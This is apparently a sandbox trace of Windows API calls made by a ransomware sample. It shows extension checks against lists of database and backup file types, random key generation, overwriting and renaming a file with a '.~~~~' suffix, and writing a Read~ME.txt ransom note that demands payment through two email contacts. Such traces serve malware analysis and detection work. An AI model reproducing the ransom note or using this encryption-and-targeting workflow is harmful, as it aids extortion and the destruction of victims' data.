	[0077.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".cmd") returned 0x0
	[0077.544] lstrlenW (lpString=".dll") returned 4
	[0077.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".dll") returned 0x0
	[0077.544] lstrlenW (lpString=".bat") returned 4
	[0077.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".bat") returned 0x0
	[0077.544] lstrlenW (lpString=".cpl") returned 4
	[0077.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".cpl") returned 0x0
	[0077.544] lstrlenW (lpString=".sys") returned 4
	[0077.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".sys") returned 0x0
	[0077.544] lstrlenW (lpString=".msc") returned 4
	[0077.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".msc") returned 0x0
	[0077.544] lstrlenW (lpString=".com") returned 4
	[0077.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".com") returned 0x0
	[0077.544] lstrlenW (lpString=".lnk") returned 4
	[0077.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".lnk") returned 0x0
	[0077.545] lstrlenW (lpString=".msp") returned 4
	[0077.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".msp") returned 0x0
	[0077.545] lstrlenW (lpString=".pif") returned 4
	[0077.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".pif") returned 0x0
	[0077.545] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch="msp\r\n.pif") returned 0x0
	[0077.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0077.546] lstrlenW (lpString=".sqb") returned 4
	[0077.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".sqb") returned 0x0
	[0077.546] lstrlenW (lpString=".ost") returned 4
	[0077.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".ost") returned 0x0
	[0077.546] lstrlenW (lpString=".txt") returned 4
	[0077.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".txt") returned 0x0
	[0077.546] lstrlenW (lpString=".mdt") returned 4
	[0077.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".mdt") returned 0x0
	[0077.546] lstrlenW (lpString=".BDB") returned 4
	[0077.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".BDB") returned 0x0
	[0077.546] lstrlenW (lpString=".eql") returned 4
	[0077.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".eql") returned 0x0
	[0077.546] lstrlenW (lpString=".DBF") returned 4
	[0077.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".DBF") returned 0x0
	[0077.546] lstrlenW (lpString=".EQL") returned 4
	[0077.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".EQL") returned 0x0
	[0077.546] lstrlenW (lpString=".FDB") returned 4
	[0077.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".FDB") returned 0x0
	[0077.546] lstrlenW (lpString=".EDB") returned 4
	[0077.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".EDB") returned 0x0
	[0077.547] lstrlenW (lpString=".DACPAC") returned 7
	[0077.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".DACPAC") returned 0x0
	[0077.547] lstrlenW (lpString=".VHD") returned 4
	[0077.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".VHD") returned 0x0
	[0077.547] lstrlenW (lpString=".DBV") returned 4
	[0077.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".DBV") returned 0x0
	[0077.547] lstrlenW (lpString=".dacpac") returned 7
	[0077.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".dacpac") returned 0x0
	[0077.547] lstrlenW (lpString=".sdf") returned 4
	[0077.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".sdf") returned 0x0
	[0077.547] lstrlenW (lpString=".accdb") returned 6
	[0077.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".accdb") returned 0x0
	[0077.547] lstrlenW (lpString=".DBX") returned 4
	[0077.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".DBX") returned 0x0
	[0077.547] lstrlenW (lpString=".MDT") returned 4
	[0077.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".MDT") returned 0x0
	[0077.547] lstrlenW (lpString=".SQB") returned 4
	[0077.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".SQB") returned 0x0
	[0077.547] lstrlenW (lpString=".vhd") returned 4
	[0077.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".vhd") returned 0x0
	[0077.547] lstrlenW (lpString=".bac") returned 4
	[0077.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".bac") returned 0x0
	[0077.547] lstrlenW (lpString=".mdf") returned 4
	[0077.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".mdf") returned 0x0
	[0077.547] lstrlenW (lpString=".BAK") returned 4
	[0077.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".BAK") returned 0x0
	[0077.548] lstrlenW (lpString=".BAC") returned 4
	[0077.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".BAC") returned 0x0
	[0077.548] lstrlenW (lpString=".dbs") returned 4
	[0077.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".dbs") returned 0x0
	[0077.548] lstrlenW (lpString=".vhdx") returned 5
	[0077.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".vhdx") returned 0x0
	[0077.548] lstrlenW (lpString=".NDF") returned 4
	[0077.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".NDF") returned 0x0
	[0077.548] lstrlenW (lpString=".dat") returned 4
	[0077.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".dat") returned 0x0
	[0077.548] lstrlenW (lpString=".DBS") returned 4
	[0077.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".DBS") returned 0x0
	[0077.548] lstrlenW (lpString=".CKP") returned 4
	[0077.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".CKP") returned 0x0
	[0077.548] lstrlenW (lpString=".edb") returned 4
	[0077.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".edb") returned 0x0
	[0077.548] lstrlenW (lpString=".PST") returned 4
	[0077.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".PST") returned 0x0
	[0077.548] lstrlenW (lpString=".dbf") returned 4
	[0077.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".dbf") returned 0x0
	[0077.548] lstrlenW (lpString=".SQL") returned 4
	[0077.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".SQL") returned 0x0
	[0077.548] lstrlenW (lpString=".pst") returned 4
	[0077.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".pst") returned 0x0
	[0077.548] lstrlenW (lpString=".dbv") returned 4
	[0077.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".dbv") returned 0x0
	[0077.549] lstrlenW (lpString=".SDF") returned 4
	[0077.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".SDF") returned 0x0
	[0077.549] lstrlenW (lpString=".dtxs") returned 5
	[0077.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".dtxs") returned 0x0
	[0077.549] lstrlenW (lpString=".db3") returned 4
	[0077.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".db3") returned 0x0
	[0077.549] lstrlenW (lpString=".OST") returned 4
	[0077.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".OST") returned 0x0
	[0077.549] lstrlenW (lpString=".dbx") returned 4
	[0077.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".dbx") returned 0x0
	[0077.549] lstrlenW (lpString=".DB3") returned 4
	[0077.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".DB3") returned 0x0
	[0077.549] lstrlenW (lpString=".DAT") returned 4
	[0077.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".DAT") returned 0x0
	[0077.549] lstrlenW (lpString=".VHDX") returned 5
	[0077.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".VHDX") returned 0x0
	[0077.549] lstrlenW (lpString=".ndf") returned 4
	[0077.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".ndf") returned 0x0
	[0077.549] lstrlenW (lpString=".DB") returned 3
	[0077.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".DB") returned 0x0
	[0077.549] lstrlenW (lpString=".sql") returned 4
	[0077.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".sql") returned 0x0
	[0077.549] lstrlenW (lpString=".MYD") returned 4
	[0077.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".MYD") returned 0x0
	[0077.549] lstrlenW (lpString=".DBT") returned 4
	[0077.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".DBT") returned 0x0
	[0077.550] lstrlenW (lpString=".ACCDB") returned 6
	[0077.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".ACCDB") returned 0x0
	[0077.550] lstrlenW (lpString=".fdb") returned 4
	[0077.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".fdb") returned 0x0
	[0077.550] lstrlenW (lpString=".bak") returned 4
	[0077.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".bak") returned 0x0
	[0077.550] lstrlenW (lpString=".myd") returned 4
	[0077.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".myd") returned 0x0
	[0077.550] lstrlenW (lpString=".DTXS") returned 5
	[0077.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".DTXS") returned 0x0
	[0077.550] lstrlenW (lpString=".ckp") returned 4
	[0077.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".ckp") returned 0x0
	[0077.550] lstrlenW (lpString=".dbt") returned 4
	[0077.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".dbt") returned 0x0
	[0077.550] lstrlenW (lpString=".db") returned 3
	[0077.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".db") returned 0x0
	[0077.550] lstrlenW (lpString=".TXT") returned 4
	[0077.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".TXT") returned 0x0
	[0077.550] lstrlenW (lpString=".MDF") returned 4
	[0077.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".MDF") returned 0x0
	[0077.550] lstrlenW (lpString=".bdb") returned 4
	[0077.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".bdb") returned 0x0
	[0077.550] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0077.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.551] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39feb0) returned 1
	[0077.552] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.552] CryptReleaseContext (hProv=0x39feb0, dwFlags=0x0) returned 1
	[0077.552] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0077.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0077.552] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19754217764) returned 1
	[0077.552] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x981ed6f0, dwHighDateTime=0x1d60e1e)) 
	[0077.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0077.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0077.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0077.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9458
	[0077.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.552] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9458 | out: hHeap=0x300000) returned 1
	[0077.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd148
	[0077.552] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa460
	[0077.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd148 | out: hHeap=0x300000) returned 1
	[0077.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a78e8
	[0077.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa460 | out: hHeap=0x300000) returned 1
	[0077.553] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0077.553] GetLastError () returned 0x0
	[0077.553] GetLastError () returned 0x0
	[0077.553] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0077.553] GetLastError () returned 0x0
	[0077.553] GetLastError () returned 0x0
	[0077.553] ReadFile (in: hFile=0x134, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.613] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.613] WriteFile (in: hFile=0x134, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.615] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0077.615] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.615] WriteFile (in: hFile=0x134, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.646] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.646] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.647] CloseHandle (hObject=0x134) returned 1
	[0077.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a78e8
	[0077.647] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.~~~~")) returned 1
	[0077.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a78e8 | out: hHeap=0x300000) returned 1
	[0077.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0077.745] GetLastError () returned 0x0
	[0077.745] RtlWakeConditionVariable () returned 0x365f70
	[0077.745] GetCurrentThreadId () returned 0x9cc
	[0077.745] GetCurrentThreadId () returned 0x9cc
	[0077.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0077.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7d10 | out: hHeap=0x300000) returned 1
	[0077.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dc08 | out: hHeap=0x300000) returned 1
	[0077.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7d10
	[0077.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0077.818] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0077.819] WriteFile (in: hFile=0x118, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0077.820] CloseHandle (hObject=0x118) returned 1
	[0077.820] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7d10 | out: hHeap=0x300000) returned 1
	[0077.820] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7850 | out: hHeap=0x300000) returned 1
	[0077.820] RtlWakeConditionVariable () returned 0x365f70
	[0077.820] GetCurrentThreadId () returned 0x9cc
	[0077.820] GetCurrentThreadId () returned 0x9cc
	[0077.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0077.820] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8268 | out: hHeap=0x300000) returned 1
	[0077.820] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c880 | out: hHeap=0x300000) returned 1
	[0077.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8268
	[0077.820] lstrlenW (lpString=".scr") returned 4
	[0077.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".scr") returned 0x0
	[0077.821] lstrlenW (lpString=".cmd") returned 4
	[0077.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".cmd") returned 0x0
	[0077.821] lstrlenW (lpString=".dll") returned 4
	[0077.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".dll") returned 0x0
	[0077.821] lstrlenW (lpString=".bat") returned 4
	[0077.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".bat") returned 0x0
	[0077.821] lstrlenW (lpString=".cpl") returned 4
	[0077.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".cpl") returned 0x0
	[0077.821] lstrlenW (lpString=".sys") returned 4
	[0077.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".sys") returned 0x0
	[0077.821] lstrlenW (lpString=".msc") returned 4
	[0077.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".msc") returned 0x0
	[0077.821] lstrlenW (lpString=".com") returned 4
	[0077.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".com") returned 0x0
	[0077.821] lstrlenW (lpString=".lnk") returned 4
	[0077.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".lnk") returned 0x0
	[0077.821] lstrlenW (lpString=".msp") returned 4
	[0077.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".msp") returned 0x0
	[0077.821] lstrlenW (lpString=".pif") returned 4
	[0077.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".pif") returned 0x0
	[0077.821] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch="msp\r\n.pif") returned 0x0
	[0077.822] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0077.923] lstrlenW (lpString=".sqb") returned 4
	[0077.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", lpSrch=".sqb") returned 0x0
	[0077.923] lstrlenW (lpString=".ost") returned 4
